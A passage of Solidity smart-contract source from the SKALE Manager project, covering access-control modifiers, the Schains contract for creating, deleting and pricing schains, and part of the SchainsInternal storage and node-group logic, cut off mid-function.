* @dev Modifier to make a function callable only when caller is an Admin.
*
* Requirements:
*
* - The caller must be an admin.
*/
modifier onlyAdmin() {
require(_isAdmin(msg.sender), "Caller is not an admin");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName` contract.
*
* Requirements:
*
* - The caller must be the owner or `contractName`.
*/
modifier allow(string memory contractName) {
require(
contractManager.getContract(contractName) == msg.sender || _isOwner(),
"Message sender is invalid");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName1` or `contractName2` contract.
*
* Requirements:
*
* - The caller must be the owner, `contractName1`, or `contractName2`.
*/
modifier allowTwo(string memory contractName1, string memory contractName2) {
require(
contractManager.getContract(contractName1) == msg.sender ||
contractManager.getContract(contractName2) == msg.sender ||
_isOwner(),
"Message sender is invalid");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName1`, `contractName2`, or `contractName3` contract.
*
* Requirements:
*
* - The caller must be the owner, `contractName1`, `contractName2`, or
* `contractName3`.
*/
modifier allowThree(string memory contractName1, string memory contractName2, string memory contractName3) {
require(
contractManager.getContract(contractName1) == msg.sender ||
contractManager.getContract(contractName2) == msg.sender ||
contractManager.getContract(contractName3) == msg.sender ||
_isOwner(),
"Message sender is invalid");
_;
}
function initialize(address contractManagerAddress) public virtual initializer {
AccessControlUpgradeSafe.__AccessControl_init();
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setContractManager(contractManagerAddress);
}
function _isOwner() internal view returns (bool) {
return hasRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
function _isAdmin(address account) internal view returns (bool) {
address skaleManagerAddress = contractManager.contracts(keccak256(abi.encodePacked("SkaleManager")));
if (skaleManagerAddress != address(0)) {
AccessControlUpgradeSafe skaleManager = AccessControlUpgradeSafe(skaleManagerAddress);
return skaleManager.hasRole(keccak256("ADMIN_ROLE"), account) || _isOwner();
} else {
return _isOwner();
}
}
function _setContractManager(address contractManagerAddress) private {
require(contractManagerAddress != address(0), "ContractManager address is not set");
require(contractManagerAddress.isContract(), "Address is not contract");
contractManager = ContractManager(contractManagerAddress);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Schains.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./Permissions.sol";
import "./SchainsInternal.sol";
import "./ConstantsHolder.sol";
import "./KeyStorage.sol";
import "./SkaleVerifier.sol";
import "./utils/FieldOperations.sol";
import "./NodeRotation.sol";
import "./interfaces/ISkaleDKG.sol";
/**
* @title Schains
* @dev Contains functions to manage Schains such as Schain creation,
* deletion, and rotation.
*/
contract Schains is Permissions {
using StringUtils for string;
using StringUtils for uint;
struct SchainParameters {
uint lifetime;
uint8 typeOfSchain;
uint16 nonce;
string name;
}
/**
* @dev Emitted when an schain is created.
*/
event SchainCreated(
string name,
address owner,
uint partOfNode,
uint lifetime,
uint numberOfNodes,
uint deposit,
uint16 nonce,
bytes32 schainId,
uint time,
uint gasSpend
);
/**
* @dev Emitted when an schain is deleted.
*/
event SchainDeleted(
address owner,
string name,
bytes32 indexed schainId
);
/**
* @dev Emitted when a node in an schain is rotated.
*/
event NodeRotated(
bytes32 schainId,
uint oldNode,
uint newNode
);
/**
* @dev Emitted when a node is added to an schain.
*/
event NodeAdded(
bytes32 schainId,
uint newNode
);
/**
* @dev Emitted when a group of nodes is created for an schain.
*/
event SchainNodes(
string name,
bytes32 schainId,
uint[] nodesInGroup,
uint time,
uint gasSpend
);
bytes32 public constant SCHAIN_CREATOR_ROLE = keccak256("SCHAIN_CREATOR_ROLE");
/**
* @dev Allows SkaleManager contract to create an Schain.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - Schain type is valid.
* - There is sufficient deposit to create type of schain.
*/
function addSchain(address from, uint deposit, bytes calldata data) external allow("SkaleManager") {
SchainParameters memory schainParameters = _fallbackSchainParametersDataConverter(data);
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
uint schainCreationTimeStamp = constantsHolder.schainCreationTimeStamp();
uint minSchainLifetime = constantsHolder.minimalSchainLifetime();
require(now >= schainCreationTimeStamp, "It is not a time for creating Schain");
require(
schainParameters.lifetime >= minSchainLifetime,
"Minimal schain lifetime should be satisfied"
);
require(
getSchainPrice(schainParameters.typeOfSchain, schainParameters.lifetime) <= deposit,
"Not enough money to create Schain");
_addSchain(from, deposit, schainParameters);
}
function addSchainByFoundation(
uint lifetime,
uint8 typeOfSchain,
uint16 nonce,
string calldata name
)
external
{
require(hasRole(SCHAIN_CREATOR_ROLE, msg.sender), "Sender is not authorized to create schain");
SchainParameters memory schainParameters = SchainParameters({
lifetime: lifetime,
typeOfSchain: typeOfSchain,
nonce: nonce,
name: name
});
_addSchain(msg.sender, 0, schainParameters);
}
/**
* @dev Allows SkaleManager to remove an schain from the network.
* Upon removal, the space availability of each node is updated.
*
* Emits an {SchainDeleted} event.
*
* Requirements:
*
* - Executed by schain owner.
*/
function deleteSchain(address from, string calldata name) external allow("SkaleManager") {
NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation"));
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
bytes32 schainId = keccak256(abi.encodePacked(name));
require(
schainsInternal.isOwnerAddress(from, schainId),
"Message sender is not the owner of the Schain"
);
address nodesAddress = contractManager.getContract("Nodes");
// removes Schain from Nodes
uint[] memory nodesInGroup = schainsInternal.getNodesInGroup(schainId);
uint8 partOfNode = schainsInternal.getSchainsPartOfNode(schainId);
for (uint i = 0; i < nodesInGroup.length; i++) {
uint schainIndex = schainsInternal.findSchainAtSchainsForNode(
nodesInGroup[i],
schainId
);
if (schainsInternal.checkHoleForSchain(schainId, i)) {
continue;
}
require(
schainIndex < schainsInternal.getLengthOfSchainsForNode(nodesInGroup[i]),
"Some Node does not contain given Schain");
schainsInternal.removeNodeFromSchain(nodesInGroup[i], schainId);
schainsInternal.removeNodeFromExceptions(schainId, nodesInGroup[i]);
if (!Nodes(nodesAddress).isNodeLeft(nodesInGroup[i])) {
this.addSpace(nodesInGroup[i], partOfNode);
}
}
schainsInternal.deleteGroup(schainId);
schainsInternal.removeSchain(schainId, from);
schainsInternal.removeHolesForSchain(schainId);
nodeRotation.removeRotation(schainId);
emit SchainDeleted(from, name, schainId);
}
/**
* @dev Allows SkaleManager to delete any Schain.
* Upon removal, the space availability of each node is updated.
*
* Emits an {SchainDeleted} event.
*
* Requirements:
*
* - Schain exists.
*/
function deleteSchainByRoot(string calldata name) external allow("SkaleManager") {
NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation"));
bytes32 schainId = keccak256(abi.encodePacked(name));
SchainsInternal schainsInternal = SchainsInternal(
contractManager.getContract("SchainsInternal"));
require(schainsInternal.isSchainExist(schainId), "Schain does not exist");
// removes Schain from Nodes
uint[] memory nodesInGroup = schainsInternal.getNodesInGroup(schainId);
uint8 partOfNode = schainsInternal.getSchainsPartOfNode(schainId);
for (uint i = 0; i < nodesInGroup.length; i++) {
uint schainIndex = schainsInternal.findSchainAtSchainsForNode(
nodesInGroup[i],
schainId
);
if (schainsInternal.checkHoleForSchain(schainId, i)) {
continue;
}
require(
schainIndex < schainsInternal.getLengthOfSchainsForNode(nodesInGroup[i]),
"Some Node does not contain given Schain");
schainsInternal.removeNodeFromSchain(nodesInGroup[i], schainId);
schainsInternal.removeNodeFromExceptions(schainId, nodesInGroup[i]);
this.addSpace(nodesInGroup[i], partOfNode);
}
schainsInternal.deleteGroup(schainId);
address from = schainsInternal.getSchainOwner(schainId);
schainsInternal.removeSchain(schainId, from);
schainsInternal.removeHolesForSchain(schainId);
nodeRotation.removeRotation(schainId);
emit SchainDeleted(from, name, schainId);
}
/**
* @dev Allows SkaleManager contract to restart schain creation by forming a
* new schain group. Executed when DKG procedure fails and becomes stuck.
*
* Emits a {NodeAdded} event.
*
* Requirements:
*
* - Previous DKG procedure must have failed.
* - DKG failure got stuck because there were no free nodes to rotate in.
* - A free node must be released in the network.
*/
function restartSchainCreation(string calldata name) external allow("SkaleManager") {
NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation"));
bytes32 schainId = keccak256(abi.encodePacked(name));
ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG"));
require(!skaleDKG.isLastDKGSuccessful(schainId), "DKG success");
SchainsInternal schainsInternal = SchainsInternal(
contractManager.getContract("SchainsInternal"));
require(schainsInternal.isAnyFreeNode(schainId), "No free Nodes for new group formation");
uint newNodeIndex = nodeRotation.selectNodeToGroup(schainId);
skaleDKG.openChannel(schainId);
emit NodeAdded(schainId, newNodeIndex);
}
/**
* @dev addSpace - return occupied space to Node
* @param nodeIndex - index of Node at common array of Nodes
* @param partOfNode - divisor of given type of Schain
*/
function addSpace(uint nodeIndex, uint8 partOfNode) external allowTwo("Schains", "NodeRotation") {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
nodes.addSpaceToNode(nodeIndex, partOfNode);
}
/**
* @dev Checks whether schain group signature is valid.
*/
function verifySchainSignature(
uint signatureA,
uint signatureB,
bytes32 hash,
uint counter,
uint hashA,
uint hashB,
string calldata schainName
)
external
view
returns (bool)
{
SkaleVerifier skaleVerifier = SkaleVerifier(contractManager.getContract("SkaleVerifier"));
G2Operations.G2Point memory publicKey = KeyStorage(
contractManager.getContract("KeyStorage")
).getCommonPublicKey(
keccak256(abi.encodePacked(schainName))
);
return skaleVerifier.verify(
Fp2Operations.Fp2Point({
a: signatureA,
b: signatureB
}),
hash, counter,
hashA, hashB,
publicKey
);
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
}
/**
* @dev Returns the current price in SKL tokens for given Schain type and lifetime.
*/
function getSchainPrice(uint typeOfSchain, uint lifetime) public view returns (uint) {
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
uint nodeDeposit = constantsHolder.NODE_DEPOSIT();
uint numberOfNodes;
uint8 divisor;
(numberOfNodes, divisor) = getNodesDataFromTypeOfSchain(typeOfSchain);
if (divisor == 0) {
return 1e18;
} else {
uint up = nodeDeposit.mul(numberOfNodes.mul(lifetime.mul(2)));
uint down = uint(
uint(constantsHolder.SMALL_DIVISOR())
.mul(uint(constantsHolder.SECONDS_TO_YEAR()))
.div(divisor)
);
return up.div(down);
}
}
/**
* @dev Returns the number of Nodes and resource divisor that is needed for a
* given Schain type.
*/
function getNodesDataFromTypeOfSchain(uint typeOfSchain)
public
view
returns (uint numberOfNodes, uint8 partOfNode)
{
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
numberOfNodes = constantsHolder.NUMBER_OF_NODES_FOR_SCHAIN();
if (typeOfSchain == 1) {
partOfNode = constantsHolder.SMALL_DIVISOR() / constantsHolder.SMALL_DIVISOR();
} else if (typeOfSchain == 2) {
partOfNode = constantsHolder.SMALL_DIVISOR() / constantsHolder.MEDIUM_DIVISOR();
} else if (typeOfSchain == 3) {
partOfNode = constantsHolder.SMALL_DIVISOR() / constantsHolder.LARGE_DIVISOR();
} else if (typeOfSchain == 4) {
partOfNode = 0;
numberOfNodes = constantsHolder.NUMBER_OF_NODES_FOR_TEST_SCHAIN();
} else if (typeOfSchain == 5) {
partOfNode = constantsHolder.SMALL_DIVISOR() / constantsHolder.MEDIUM_TEST_DIVISOR();
numberOfNodes = constantsHolder.NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN();
} else {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
(partOfNode, numberOfNodes) = schainsInternal.schainTypes(typeOfSchain);
if (numberOfNodes == 0) {
revert("Bad schain type");
}
}
}
/**
* @dev Initializes an schain in the SchainsInternal contract.
*
* Requirements:
*
* - Schain name is not already in use.
*/
function _initializeSchainInSchainsInternal(
string memory name,
address from,
uint deposit,
uint lifetime) private
{
address dataAddress = contractManager.getContract("SchainsInternal");
require(SchainsInternal(dataAddress).isSchainNameAvailable(name), "Schain name is not available");
// initialize Schain
SchainsInternal(dataAddress).initializeSchain(
name,
from,
lifetime,
deposit);
SchainsInternal(dataAddress).setSchainIndex(keccak256(abi.encodePacked(name)), from);
}
/**
* @dev Converts data from bytes to normal schain parameters of lifetime,
* type, nonce, and name.
*/
function _fallbackSchainParametersDataConverter(bytes memory data)
private
pure
returns (SchainParameters memory schainParameters)
{
(schainParameters.lifetime,
schainParameters.typeOfSchain,
schainParameters.nonce,
schainParameters.name) = abi.decode(data, (uint, uint8, uint16, string));
}
/**
* @dev Allows creation of node group for Schain.
*
* Emits an {SchainNodes} event.
*/
function _createGroupForSchain(
string memory schainName,
bytes32 schainId,
uint numberOfNodes,
uint8 partOfNode
)
private
{
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
uint[] memory nodesInGroup = schainsInternal.createGroupForSchain(schainId, numberOfNodes, partOfNode);
ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainId);
emit SchainNodes(
schainName,
schainId,
nodesInGroup,
block.timestamp,
gasleft());
}
/**
* @dev Creates an schain.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - Schain type must be valid.
*/
function _addSchain(address from, uint deposit, SchainParameters memory schainParameters) private {
uint numberOfNodes;
uint8 partOfNode;
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
require(schainParameters.typeOfSchain <= schainsInternal.numberOfSchainTypes(), "Invalid type of Schain");
//initialize Schain
_initializeSchainInSchainsInternal(
schainParameters.name,
from,
deposit,
schainParameters.lifetime);
// create a group for Schain
(numberOfNodes, partOfNode) = getNodesDataFromTypeOfSchain(schainParameters.typeOfSchain);
_createGroupForSchain(
schainParameters.name,
keccak256(abi.encodePacked(schainParameters.name)),
numberOfNodes,
partOfNode
);
emit SchainCreated(
schainParameters.name,
from,
partOfNode,
schainParameters.lifetime,
numberOfNodes,
deposit,
schainParameters.nonce,
keccak256(abi.encodePacked(schainParameters.name)),
block.timestamp,
gasleft());
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SchainsInternal.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./ConstantsHolder.sol";
import "./Nodes.sol";
import "./interfaces/ISkaleDKG.sol";
/**
* @title SchainsInternal
* @dev Contract contains all functionality logic to internally manage Schains.
*/
contract SchainsInternal is Permissions {
struct Schain {
string name;
address owner;
uint indexInOwnerList;
uint8 partOfNode;
uint lifetime;
uint startDate;
uint startBlock;
uint deposit;
uint64 index;
}
struct SchainType {
uint8 partOfNode;
uint numberOfNodes;
}
// mapping which contain all schains
mapping (bytes32 => Schain) public schains;
mapping (bytes32 => bool) public isSchainActive;
mapping (bytes32 => uint[]) public schainsGroups;
mapping (bytes32 => mapping (uint => bool)) private _exceptionsForGroups;
// mapping shows schains by owner's address
mapping (address => bytes32[]) public schainIndexes;
// mapping shows schains which Node composed in
mapping (uint => bytes32[]) public schainsForNodes;
mapping (uint => uint[]) public holesForNodes;
mapping (bytes32 => uint[]) public holesForSchains;
// array which contain all schains
bytes32[] public schainsAtSystem;
uint64 public numberOfSchains;
// total resources that schains occupied
uint public sumOfSchainsResources;
mapping (bytes32 => bool) public usedSchainNames;
mapping (uint => SchainType) public schainTypes;
uint public numberOfSchainTypes;
// schain hash => node index => index of place
// index of place is a number from 1 to max number of slots on node(128)
mapping (bytes32 => mapping (uint => uint)) public placeOfSchainOnNode;
/**
* @dev Allows Schain contract to initialize an schain.
*/
function initializeSchain(
string calldata name,
address from,
uint lifetime,
uint deposit) external allow("Schains")
{
bytes32 schainId = keccak256(abi.encodePacked(name));
schains[schainId].name = name;
schains[schainId].owner = from;
schains[schainId].startDate = block.timestamp;
schains[schainId].startBlock = block.number;
schains[schainId].lifetime = lifetime;
schains[schainId].deposit = deposit;
schains[schainId].index = numberOfSchains;
isSchainActive[schainId] = true;
numberOfSchains++;
schainsAtSystem.push(schainId);
usedSchainNames[schainId] = true;
}
/**
* @dev Allows Schain contract to create a node group for an schain.
*/
function createGroupForSchain(
bytes32 schainId,
uint numberOfNodes,
uint8 partOfNode
)
external
allow("Schains")
returns (uint[] memory)
{
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
schains[schainId].partOfNode = partOfNode;
if (partOfNode > 0) {
sumOfSchainsResources = sumOfSchainsResources.add(
numberOfNodes.mul(constantsHolder.TOTAL_SPACE_ON_NODE()).div(partOfNode)
);
}
return _generateGroup(schainId, numberOfNodes);
}
/**
* @dev Allows Schains contract to set index in owner list.
*/
function setSchainIndex(bytes32 schainId, address from) external allow("Schains") {
schains[schainId].indexInOwnerList = schainIndexes[from].length;
schainIndexes[from].push(schainId);
}
/**
* @dev Allows Schains contract to change the Schain lifetime through
* an additional SKL token deposit.
*/
function changeLifetime(bytes32 schainId, uint lifetime, uint deposit) external allow("Schains") {
schains[schainId].deposit = schains[schainId].deposit.add(deposit);
schains[schainId].lifetime = schains[schainId].lifetime.add(lifetime);
}
/**
* @dev Allows Schains contract to remove an schain from the network.
* Generally schains are not removed from the system; instead they are
* simply allowed to expire.
*/
function removeSchain(bytes32 schainId, address from) external allow("Schains") {
isSchainActive[schainId] = false;
uint length = schainIndexes[from].length;
uint index = schains[schainId].indexInOwnerList;
if (index != length.sub(1)) {
bytes32 lastSchainId = schainIndexes[from][length.sub(1)];
schains[lastSchainId].indexInOwnerList = index;
schainIndexes[from][index] = lastSchainId;
}
schainIndexes[from].pop();
// TODO:
// optimize
for (uint i = 0; i + 1 < schainsAtSystem.length; i++) {
if (schainsAtSystem[i] == schainId) {
schainsAtSystem[i] = schainsAtSystem[schainsAtSystem.length.sub(1)];
break;
}
}
schainsAtSystem.pop();
delete schains[schainId];
numberOfSchains--;
}
/**
* @dev Allows Schains and SkaleDKG contracts to remove a node from an
* schain for node rotation or DKG failure.
*/
function removeNodeFromSchain(
uint nodeIndex,
bytes32 schainHash
)
external
allowThree("NodeRotation", "SkaleDKG", "Schains")
{
uint indexOfNode = _findNode(schainHash, nodeIndex);
uint indexOfLastNode = schainsGroups[schainHash].length.sub(1);
if (indexOfNode == indexOfLastNode) {
schainsGroups[schainHash].pop();
} else {
delete schainsGroups[schainHash][indexOfNode];
if (holesForSchains[schainHash].length > 0 && holesForSchains[schainHash][0] > indexOfNode) {
uint hole = holesForSchains[schainHash][0];
holesForSchains[schainHash][0] = indexOfNode;
holesForSchains[schainHash].push(hole);
} else {
holesForSchains[schainHash].push(indexOfNode);
}
}
uint schainIndexOnNode = findSchainAtSchainsForNode(nodeIndex, schainHash);
removeSchainForNode(nodeIndex, schainIndexOnNode);
delete placeOfSchainOnNode[schainHash][nodeIndex];
}
/**
* @dev Allows Schains contract to remove node from exceptions
*/
function removeNodeFromExceptions(bytes32 schainHash, uint nodeIndex) external allow("Schains") {
_exceptionsForGroups[schainHash][nodeIndex] = false;
}
/**
* @dev Allows Schains contract to delete a group of schains
*/
function deleteGroup(bytes32 schainId) external allow("Schains") {
// delete channel
ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG"));
delete schainsGroups[schainId];
skaleDKG.deleteChannel(schainId);
}
/**
* @dev Allows Schain and NodeRotation contracts to set a Node like
* exception for a given schain and nodeIndex.
*/
function setException(bytes32 schainId, uint nodeIndex) external allowTwo("Schains", "NodeRotation") {
_exceptionsForGroups[schainId][nodeIndex] = true;
}
/**
* @dev Allows Schains and NodeRotation contracts to add node to an schain
* group.
*/
function setNodeInGroup(bytes32 schainId, uint nodeIndex) external allowTwo("Schains", "NodeRotation") {
if (holesForSchains[schainId].length == 0) {
schainsGroups[schainId].push(nodeIndex);
} else {
schainsGroups[schainId][holesForSchains[schainId][0]] = nodeIndex;
uint min = uint(-1);
uint index = 0;
for (uint i = 1; i < holesForSchains[schainId].length; i++) {
if (min > holesForSchains[schainId][i]) {
min = holesForSchains[schainId][i];
index = i;
}
}
if (min == uint(-1)) {
delete holesForSchains[schainId];
} else {
holesForSchains[schainId][0] = min;
holesForSchains[schainId][index] =
holesForSchains[schainId][holesForSchains[schainId].length - 1];
holesForSchains[schainId].pop();
}
}
}
/**
* @dev Allows Schains contract to remove holes for schains
*/
function removeHolesForSchain(bytes32 schainHash) external allow("Schains") {
delete holesForSchains[schainHash];
}
/**
* @dev Allows Admin to add schain type
*/
function addSchainType(uint8 partOfNode, uint numberOfNodes) external onlyAdmin {
schainTypes[numberOfSchainTypes + 1].partOfNode = partOfNode;
schainTypes[numberOfSchainTypes + 1].numberOfNodes = numberOfNodes;
numberOfSchainTypes++;
}
/**
* @dev Allows Admin to remove schain type
*/
function removeSchainType(uint typeOfSchain) external onlyAdmin {
delete schainTypes[typeOfSchain].partOfNode;
delete schainTypes[typeOfSchain].numberOfNodes;
}
/**
* @dev Allows Admin to set number of schain types
*/
function setNumberOfSchainTypes(uint newNumberOfSchainTypes) external onlyAdmin {
numberOfSchainTypes = newNumberOfSchainTypes;
}
/**
* @dev Allows Admin to move schain to placeOfSchainOnNode map
*/
function moveToPlaceOfSchainOnNode(bytes32 schainHash) external onlyAdmin {
for (uint i = 0; i < schainsGroups[schainHash].length; i++) {
uint nodeIndex = schainsGroups[schainHash][i];
for (uint j = 0; j < schainsForNodes[nodeIndex].length; j++) {
if (schainsForNodes[nodeIndex][j] == schainHash) {
placeOfSchainOnNode[schainHash][nodeIndex] = j + 1;
}
}
}
}
/**
* @dev Returns all Schains in the network.
*/
function getSchains() external view returns (bytes32[] memory) {
return schainsAtSystem;
}
/**
* @dev Returns all occupied resources on one node for an Schain.
*/
function getSchainsPartOfNode(bytes32 schainId) external view returns (uint8) {
return schains[schainId].partOfNode;
}
/**
* @dev Returns number of schains by schain owner.
*/
function getSchainListSize(address from) external view returns (uint) {
return schainIndexes[from].length;
}
/**
* @dev Returns hashes of schain names by schain owner.
*/
function getSchainIdsByAddress(address from) external view returns (bytes32[] memory) {
return schainIndexes[from];
}
/**
* @dev Returns hashes of schain names running on a node.
*/
function getSchainIdsForNode(uint nodeIndex) external view returns (bytes32[] memory) {
return schainsForNodes[nodeIndex];
}
/**
* @dev Returns the owner of an schain.
*/
function getSchainOwner(bytes32 schainId) external view returns (address) {
return schains[schainId].owner;
}
/**
* @dev Checks whether schain name is available.
* TODO Need to delete - copy of web3.utils.soliditySha3
*/
function isSchainNameAvailable(string calldata name) external view returns (bool) {
bytes32 schainId = keccak256(abi.encodePacked(name));
return schains[schainId].owner == address(0) &&
!usedSchainNames[schainId] &&
keccak256(abi.encodePacked(name)) != keccak256(abi.encodePacked("Mainnet"));
}
/**
* @dev Checks whether schain lifetime has expired.
*/
function isTimeExpired(bytes32 schainId) external view returns (bool) {
return uint(schains[schainId].startDate).add(schains[schainId].lifetime) < block.timestamp;
}
/**
* @dev Checks whether address is owner of schain.
*/
function isOwnerAddress(address from, bytes32 schainId) external view returns (bool) {
return schains[schainId].owner == from;
}
/**
* @dev Checks whether schain exists.
*/
function isSchainExist(bytes32 schainId) external view returns (bool) {
return keccak256(abi.encodePacked(schains[schainId].name)) != keccak256(abi.encodePacked(""));
}
/**
* @dev Returns schain name.
*/
function getSchainName(bytes32 schainId) external view returns (string memory) {
return schains[schainId].name;
}
/**
* @dev Returns last active schain of a node.
*/
function getActiveSchain(uint nodeIndex) external view returns (bytes32) {
for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) {
if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) {
return schainsForNodes[nodeIndex][i - 1];
}
}
return bytes32(0);
}
/**
* @dev Returns active schains of a node.
*/
function getActiveSchains(uint nodeIndex) external view returns (bytes32[] memory activeSchains) {
uint activeAmount = 0;
for (uint i = 0; i < schainsForNodes[nodeIndex].length; i++) {
if (schainsForNodes[nodeIndex][i] != bytes32(0)) {
activeAmount++;
}
}
uint cursor = 0;
activeSchains = new bytes32[](activeAmount);
for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) {
if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) {
activeSchains[cursor++] = schainsForNodes[nodeIndex][i - 1];
}
}
}
/**
* @dev Returns number of nodes in an schain group.
*/
function getNumberOfNodesInGroup(bytes32 schainId) external view returns (uint) {
return schainsGroups[schainId].length;
}
/**
* @dev Returns nodes in an schain group.
*/
function getNodesInGroup(bytes32 schainId) external view returns (uint[] memory) {
return schainsGroups[schainId];
}
/**
* @dev Checks whether sender is a node address from a given schain group.
*/
function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool) {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
for (uint i = 0; i < schainsGroups[schainId].length; i++) {
if (nodes.getNodeAddress(schainsGroups[schainId][i]) == sender) {
return true;
}
}
return false;
}
/**
* @dev Returns node index in schain group.
*/
function getNodeIndexInGroup(bytes32 schainId, uint nodeId) external view returns (uint) {
for (uint index = 0; index < schainsGroups[schainId].length; index++) {
if (schainsGroups[schainId][index] == nodeId) {
return index;
}
}
return schainsGroups[schainId].length;
}
/**
* @dev Checks whether there are any nodes with free resources for given
* schain.
*/
function isAnyFreeNode(bytes32 schainId) external view returns (bool) {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
uint8 space = schains[schainId].partOfNode;
uint[] memory nodesWithFreeSpace = nodes.getNodesWithFreeSpace(space);
for (uint i = 0; i < nodesWithFreeSpace.length; i++) {
if (_isCorrespond(schainId, nodesWithFreeSpace[i])) {
return true;
}
}
return false;
}
/**
* @dev Returns whether any exceptions exist for node in a schain group.
*/
function checkException(bytes32 schainId, uint nodeIndex) external view returns (bool) {
return _exceptionsForGroups[schainId][nodeIndex];
}
function checkHoleForSchain(bytes32 schainHash, uint indexOfNode) external view returns (bool) {
for (uint i = 0; i < holesForSchains[schainHash].length; i++) {
if (holesForSchains[schainHash][i] == indexOfNode) {
return true;
}
}
return false;
}
/**
* @dev Returns number of Schains on a node.
*/
function getLengthOfSchainsForNode(uint nodeIndex) external view returns (uint) {
return schainsForNodes[nodeIndex].length;
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
numberOfSchains = 0;
sumOfSchainsResources = 0;
numberOfSchainTypes = 5;
}
/**
* @dev Allows Schains and NodeRotation contracts to add schain to node.
*/
function addSchainForNode(uint nodeIndex, bytes32 schainId) public allowTwo("Schains", "NodeRotation") {
if (holesForNodes[nodeIndex].length == 0) {
schainsForNodes[nodeIndex].push(schainId);
placeOfSchainOnNode[schainId][nodeIndex] = schainsForNodes[nodeIndex].length;
} else {
uint lastHoleOfNode = holesForNodes[nodeIndex][holesForNodes[nodeIndex].length - 1];
schainsForNodes[nodeIndex][lastHoleOfNode] = schainId;
placeOfSchainOnNode[schainId][nodeIndex] = lastHoleOfNode + 1;
holesForNodes[nodeIndex].pop();
}
}
/**
* @dev Allows Schains, NodeRotation, and SkaleDKG contracts to remove an
* schain from a node.
*/
function removeSchainForNode(uint nodeIndex, uint schainIndex)
public
allowThree("NodeRotation", "SkaleDKG", "Schains")
{
uint length = schainsForNodes[nodeIndex].length;
if (schainIndex == length.sub(1)) {
schainsForNodes[nodeIndex].pop();
} else {
schainsForNodes[nodeIndex][schainIndex] = bytes32(0);
if (holesForNodes[nodeIndex].length > 0 && holesForNodes[nodeIndex][0] > schainIndex) {
uint hole = holesForNodes[nodeIndex][0];
holesForNodes[nodeIndex][0] = schainIndex;
holesForNodes[nodeIndex].push(hole);
} else {
holesForNodes[nodeIndex].push(schainIndex);
}
}
}
/**
* @dev Returns index of Schain in list of schains for a given node.
*/
function findSchainAtSchainsForNode(uint nodeIndex, bytes32 schainId) public view returns (uint) {
if (placeOfSchainOnNode[schainId][nodeIndex] == 0)
return schainsForNodes[nodeIndex].length;
return placeOfSchainOnNode[schainId][nodeIndex] - 1;
}
function isEnoughNodes(bytes32 schainId) public view returns (uint[] memory result) {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
uint8 space = schains[schainId].partOfNode;
uint[] memory nodesWithFreeSpace = nodes.getNodesWithFreeSpace(space);
uint counter = 0;
for (uint i = 0; i < nodesWithFreeSpace.length; i++) {
if (!_isCorrespond(schainId, nodesWithFreeSpace[i])) {
counter++;
}
}
if (counter < nodesWithFreeSpace.length) {
result = new uint[](nodesWithFreeSpace.length.sub(counter));
counter = 0;
for (uint i = 0; i < nodesWithFreeSpace.length; i++) {
if (_isCorrespond(schainId, nodesWithFreeSpace[i])) {
result[counter] = nodesWithFreeSpace[i];
counter++;
}
}
}
}
/**
* @dev Generates schain group using a pseudo-random generator.
*/
function _generateGroup(bytes32 schainId, uint numberOfNodes) private returns (uint[] memory nodesInGroup) {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
